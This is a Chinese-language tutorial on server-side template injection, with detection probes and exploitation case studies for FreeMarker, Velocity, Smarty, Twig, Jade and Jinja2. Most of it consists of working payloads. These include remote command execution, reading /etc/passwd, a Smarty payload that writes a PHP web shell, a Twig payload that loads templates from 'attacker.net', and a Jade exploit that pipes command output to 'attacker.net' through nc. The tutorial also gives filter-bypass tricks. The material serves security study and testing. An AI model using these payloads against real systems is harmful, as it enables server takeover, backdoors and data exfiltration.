本文介绍模板注入。

一、概述

模板引擎可以让(网站)程序实现界面与数据分离,业务代码与逻辑代码的分离,这大大提升了开发效率,良好的设计也使得代码重用变得更加容易。与此同时,它也扩展了黑客的攻击面。除了常规的 XSS 外,注入到模板中的代码还有可能引发 RCE(远程代码执行)。通常来说,这类问题会在博客,CMS,wiki 中产生。虽然模板引擎会提供沙箱机制,攻击者依然有许多手段绕过它。模板引擎用于使用动态数据呈现内容。此上下文数据通常由用户控制并由模板进行格式化,以生成网页、电子邮件等。模板引擎通过使用代码构造(如条件语句、循环等)处理上下文数据,允许在模板中使用强大的语言表达式,以呈现动态内容。如果攻击者能够控制要呈现的模板,则他们将能够注入可暴露上下文数据,甚至在服务器上运行任意命令的表达式。

二、什么是服务端模板注入

通过模板,Web应用可以把输入转换成特定的HTML文件或者email格式。就拿一个销售软件来说,我们假设它会发送大量的邮件给客户,并在每封邮件前SKE插入问候语,它会通过Twig(一个模板引擎)做如下处理:

1
$output = $twig->render( $_GET['custom_email'] , array("first_name" => $user.first_name) );

有经验的读者可能迅速发现 XSS,但是问题不止如此。这行代码其实有更深层次的隐患,假设我们发送如下请求:

1
2
3
{% assign openTag = '{{7*7}}' %}
custom_email={{ openTag }} // GET 参数
49 // $output 结果

还有更神奇的结果:

1
2
3
4
5
{% assign openTag = '{{self}}' %}
custom_email={{ openTag }} // GET 参数

Object of class
__TwigTemplate_7ae62e582f8a35e5ea6cc639800ecf15b96c0d6f78db3538221c1145580ca4a5 could not be converted to string // 错误

我们不难猜到服务器执行了我们传过去的数据。每当服务器用模板引擎解析用户的输入时,这类问题都有可能发生。除了常规的输入外,攻击者还可以通过 LFI(文件包含)触发它。模板注入和 SQL 注入的产生原因有几分相似——都是将未过滤的数据传给引擎解析。

为什么我们在模板注入前加“服务端”呢?这是为了和 jQuery,KnockoutJS 产生的客户端模板注入区别开来。通常的来讲,前者甚至可以让攻击者执行任意代码,而后者只能 XSS。

1:探测漏洞

漏洞一般出现在这两种情况下,而每种有不同的探测手法:

文本类

大部分的模板语言支持我们输入HTML,比如:

1
2
3
4
5
6
7
8
smarty=Hello {user.name}
Hello user1

freemarker=Hello ${username}
Hello newuser

any=<b>Hello</b>
<b>Hello<b>

未经过滤的输入会产生 XSS,我们可以利用 XSS 做我们最基本的探针。除此之外,模板语言的语法和 HTML 语法相差甚大,因此我们可以用其独特的语法来探测漏洞。虽然各种模板的实现细节不大一样,不过它们的基本语法大致相同,我们可以发送如下 payload:

1
2
3
4
5
smarty=Hello ${7*7}
Hello 49

freemarker=Hello ${7*7}
Hello 49

来确认漏洞。

代码类

在一些环境下,用户的输入也会被当作模板的可执行代码。比如说变量名:

1
2
personal_greeting=username
Hello user01

这种情况下,XSS 的方法就无效了。但是我们可以通过破坏 template 语句,并附加注入的HTML标签以确认漏洞:

1
2
3
4
personal_greeting=username<tag>
Hello
personal_greeting=username}}<tag>
Hello user01 <tag>
2:信息收集

检测到模板注入后,我们需要判断具体的模板引擎。我们需要 fuzz 不同的字符,再通过返回的错误判断。当模板引擎屏蔽错误后,该类当法就失效了,并且暴力 fuzz 也对攻击自动化不友好。Burpsuite 则对不同模板接受的 payload 做了一个分类,并以此快速判断模板引擎:

这里的绿线表示结果成功返回,红线反之。有些时候,同一个可执行的 payload 会在不同引擎中返回不同的结果,比方说49会在 Twig 中返回49,而在 Jinja2 中则是7777777。

三、测试方法

  • 确定使用的引擎
  • 查看引擎相关的文档,确定其安全机制以及自带的函数和变量
  • 需找攻击面,尝试攻击
1.测试用例

简单的数学表达式:

1
2
{% assign openTag = '{{ 7+7 }}' %}
{{ openTag }} => 14

字符串表达式:

1
2
{% assign openTag = '{{ "ajin" }}' %}
{{ openTag }} => ajin
  • Ruby
1
2
<%= 7 * 7 %>
<%= File.open('/etc/passwd').read %>
  • Java
1
${7*7}
  • Twig
1
2
{% assign openTag = '{{7*7}}' %}
{{ openTag }}
  • Smarty
1
{php}echo `id`;{/php}
  • AngularJS
1
$eval('1+1')
  • Tornado

引用模块

1
2
{% assign openTag = '{% ' %}
{{ openTag }}import module %}=> {{ openTag }}import os %}{{ os.popen("whoami").read() }}
  • Flask/Jinja2
1
2
3
4
{% assign openTag = '{{ ' %}
{{ openTag }} config.items() }}
{{ openTag }}''.__class__.__mro__[-1].__subclasses__()}}

  • Django
1
2
3
4
5
6
{% assign openTag = '{' %}
{{ openTag }}{ request }}
{{ openTag }}% debug %}
{{ openTag }}% load module %}
{{ openTag }}% include "x.html" %}
{{ openTag }}% extends "x.html" %}
2.目标
  • 创建对象
  • 文件读写
  • 远程文件包含
  • 信息泄漏
  • 提权

四、漏洞利用

1.读文档

读模板文献是构造 exp 的第一步。一般来讲,我们需要关注如下部分:

  • ‘Template 使用手册’,这一部分通常告诉我们基本的模板语法
  • ‘安全问题’,在攻击模板时,它通常可以提供我们许多思路
  • 内建方法,函数,变量,过滤器
  • 插件/扩展——我们可以优先研究默认开启的
2.探环境

当我们构建出了可用 exp 后,我们需要考虑我们当前环境可利用的函数/对象。除了模板默认的对象和我们提供的参数外,大部分模板引擎都有一个包含当前命名空间所有信息的对象(比如 self),或者一个可以列出所有属性和方法的函数。

如果没有这样的对象或函数,我们需要暴力枚举变量名。有些时候,开发者也会在模板中包含了一些敏感信息。

3.黑程序

不要局限目光于通用特性,我们还需注意到不同开发者的实现细节。

用模板注入来实现任意对象创建,任意文件读写,远程文件包含,信息泄露以及提权。

有些时候,攻破一个程序不需要多少时间,比如:{php}echo id;{/php}

这时,我们只需递交:

1
2
3
4
5
<%
import os
x=os.popen('id').read()
%>
${x}

即可,但是越来越多的模板会提供安全措施(比方说沙箱,过滤)来保证安全性,因此开发模板注入后门越来越难了。

五、案例

FreeMarker

文档地址:https://freemarker.apache.org/docs/app_faq.html#faq_template_uploading_security

FreeMaker 是 Java 下最受欢迎的模板引擎。用户可以通过实现 TemplateModel 来用 new 创建任意 Java 对象。

1
2
3
public class Execute
implements TemplateMethodModel
/*给予FreeMaker执行命令权限,并将输入内联到模板里*/

payload

1
2
<#assign ex="freemarker.template.utility.Execute"?new()> ${ ex("id") }
uid=119(tomcat7) gid=127(tomcat7) groups=127(tomcat7)
Velocity

Velocity 同样是一款备受欢迎的模板语言。然而它没有默认变量列表和安全问题页面帮助我们构建 payload。

百度一下:ClassTool:在模板中实现Java的反射,默认参数:$key

这里有几个可利用的方法和属性:

1
2
$class.inspect(class/object/string):返回正在审查类或对象的ClassTool实例
$class.type:返回被审查的类

换句话说,我们可以通过这两个类获得任意对象信息。再利用目标的Runtime.exec()执行任意命令嗯。通过如下模板,我们可以验证这一点:

1
$class.inspect("java.lang.Runtime").type.getRuntime().exec("sleep 5").waitFor() //延迟了5秒

得到 shell 命令输出有点麻烦:

1
2
3
4
5
6
7
8
9
#set($str=$class.inspect("java.lang.String").type)
#set($chr=$class.inspect("java.lang.Character").type)
#set($ex=$class.inspect("java.lang.Runtime").type.getRuntime().exec("whoami"))
$ex.waitFor()
#set($out=$ex.getInputStream())
#foreach($i in [1..$out.available()])
$str.valueOf($chr.toChars($out.read()))
#end
//输出 tomcat7
Smarty

Smarty 是一款 PHP 的模板语言。它使用安全模式来执行不信任的模板。它只运行 PHP 白名单里的函数,因此我们不能直接调用 system()。然而我们可以从模板已有的类中进行任意调用。而文档表示我们可以通过 smarty 来获取许多环境变量(比如当前变量的位置 $SCRIPT_NAME)。后面,我们又发现了 getStreamVariable:

这个函数能任意读取有读写权限的文件:

1
2
3
4
5
6
{self::getStreamVariable("file:///proc/self/loginuid")}
1000
{self::getStreamVariable($SCRIPT_NAME)}
<?php
define("SMARTY_DIR",'/usr/share/php/Smarty/');
require_once(SMARTY_DIR.'Smarty.class.php');

不仅如此,我们能任意调用静态方法,这当中包括一个可以创建和重写文件的方法public function writeFile($_filepath, $_contents, Smarty $smarty)。通过该方法,我们能轻松在web目录下创建后门。值得注意的是,第三个参数必须为 Smarty 对象,所以我们要想办法得到 Smarty 对象的引用。

幸运的是,self::clearConfig帮助我们获取对象:

1
2
3
4
public function clearConfig($varname = null)
{
return Smarty_Internal_Extension_Config::clearConfig($this, $varname);
}

最后,我们就可以创建后门了!

1
{Smarty_Internal_Write_File::writeFile($SCRIPT_NAME,"<?php passthru($_GET['cmd']); ?>",self::clearConfig())}
Twig

Twig 和 Smarty 类似,不过我们不能用它调用静态方法。幸运的是,它提供了 _self,我们并不需要暴力枚举变量名。虽然 _self 没什么有用的方法,它提供了指向 Twig_Environment 的env 属性。Twig_Environment 其中的 setCache 方法则能改变 Twig 加载 PHP 文件的路径。这样一来,我们就可以通过改变路径实现 RFI了:

1
2
{% assign openTag = '{{' %}
{{ openTag }}_self.env.setCache("ftp://attacker.net:2121")}}{{_self.env.loadTemplate("backdoor")}}

但是,PHP 默认禁止远程文件包含(关闭 allow_url_include),因此上述 payload 不能生效。进一步探索,我们在 getFilter 里发现了危险函数 call_user_func。通过传递传递参数到该函数中,我们可以调用任意 PHP 函数:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
public function getFilter($name)
{
...
foreach ($this->filterCallbacks as $callback) {
if (false !== $filter = call_user_func($callback, $name)) {
return $filter;
}
}
return false;
}

public function registerUndefinedFilterCallback($callable)
{
$this->filterCallbacks[] = $callable;
}

我们只需注册 exec 为 filter 的回调函数,并如此调用:

1
2
3
{% assign openTag = '{{' %}
{{ openTag }}_self.env.registerUndefinedFilterCallback("exec")}}{{_self.env.getFilter("id")}}
//返回结果: uid=1000(k) gid=1000(k) groups=1000(k),10(wheel)
Twig(沙箱模式)

Twig 的沙箱模式有额外的限制。它会禁用一部分函数(包括开发者提供的对象),因此我们并不能调用有价值的东西。万幸的是,这部分代码帮助我们突破限制:

1
2
3
4
5
public function checkMethodAllowed($obj, $method)
{
if ($obj instanceof Twig_TemplateInterface || $obj instanceof Twig_Markup) {
return true;
}

这里,我们可以调用实现 Twig_TemplateInterface 的对象,也就是说我们可以简介使用 _self.,_self.中的 displayBlock 让我们更上一层楼:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
public function displayBlock($name, array $context, array $blocks = array(), $useBlocks =
true)
{
$name = (string) $name;
if ($useBlocks && isset($blocks[$name])) {
$template = $blocks[$name][0];
$block = $blocks[$name][1];
} elseif (isset($this->blocks[$name])) {
$template = $this->blocks[$name][0];
$block = $this->blocks[$name][1];
} else {
$template = null;
$block = null;
}
if (null !== $template) {
try {
$template->$block($context, $blocks);
} catch (Twig_Error $e) {

我们可以用

1
$template ->$block($context, $blocks)

绕过白名单限制。以下的代码会调用 userObject 对象的 vulnerableMethod:

1
2
{% assign openTag = '{{' %}
{{ openTag }}_self.displayBlock("id",[],{"id":[userObject,"vulnerableMethod"]})}}

虽然现在不能获得化境变量,但我们可以利用 _context 属性查找开发者自定义的对象并调用有用的目标。

Jade

Jade 是一款 Node.js 模板引擎。http://CodePen.io 则可以接受用户递交该模板。这里,我会展示如何对模板注入进行黑盒测试。

首先,让我们来确认模板可以执行代码:

1
2
= 7*7
//结果:49

再来确认 self 对象的位置:

1
2
= root
//结果:[object global]

我们来列一下对象属性和函数:

1
2
3
4
5
- var x = root
- for(var prop in x)
, #{prop}

, ArrayBuffer, Int8Array, Uint8Array, Uint8ClampedArray... global, process, GLOBAL, root

这些可能是可利用的函数:

1
2
3
4
5
- var x = root.process
- for(var prop in x)
, #{prop}

, title, version, moduleLoadList... mainModule, setMaxListeners, emit, once

绕过保护机制:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
- var x = root.process.mainModule
- for(var prop in x)
, #{prop}

因为安全原因,CodePen阻止了你的语句
请删除下列关键字后进行尝试
->process
->mainModule

- var x = root.process
- x = x.mainModule
- for(var prop in x)
, #{prop}

, id, exports, parent, filename, loaded, children, paths, load, require, _compile

确定有用的函数:

1
2
3
4
5
- var x = root.process
- x = x.mainModule.require

- x('a')
Cannot find module 'a'

最终 exp:

1
2
3
4
- var x = root.process
- x = x.mainModule.require
- x = x('child_process')
= x.exec('id | nc attacker.net 80')

六、拓展

1.相关属性

class

1
2
python中类对象的 __mro__ 属性会返回一个tuple对象,其中包含了当前类对象所有继承的基类,tuple中元素的顺序是MRO(Method Resolution Order) 寻找的顺序。
__mro__

python中类对象的 __mro__ 属性会返回一个tuple对象,其中包含了当前类对象所有继承的基类,tuple中元素的顺序是MRO(Method Resolution Order) 寻找的顺序。

globals

1
2
保存了函数所有的所有全局变量,在利用中,可以使用__init__获取对象的函数,并通过__globals__获取file、os等模块以进行下一步的利用
__subclasses__()

python的新式类都保留了它所有的子类的引用,__subclasses__() 这个方法返回了类的所有存活的子类的引用(是类对象引用,不是实例)。因为python中的类都是继承object的,所以只要调用object类对象的 __subclasses__() 方法就可以获取想要的类的对象。

2.常见Payload
1
().__class__.__bases__[0].__subclasses__()[59].__init__.func_globals.values()[13]['eval']('__import__("os").popen("ls /").read()' )
3.绕过技巧

字符串拼接

绕过技巧

1
2
().__class__.__bases__[0].__subclasses__()[40](r'/etc/passwd').read()
request['__cl'+'ass__'].__base__.__base__.__base__['__subcla'+'sses__']()[60]

使用参数绕过

1
2
3
4
5
6
7
8
9
10
params = {
'clas': '__class__',
'mr': '__mro__',
'subc': '__subclasses__'
}
data = {
"data": "{{''[request.args.clas][request.args.mr][1][request.args.subc]()}}"
}
r = requests.post(url, params=params, data=data)
print(r.text)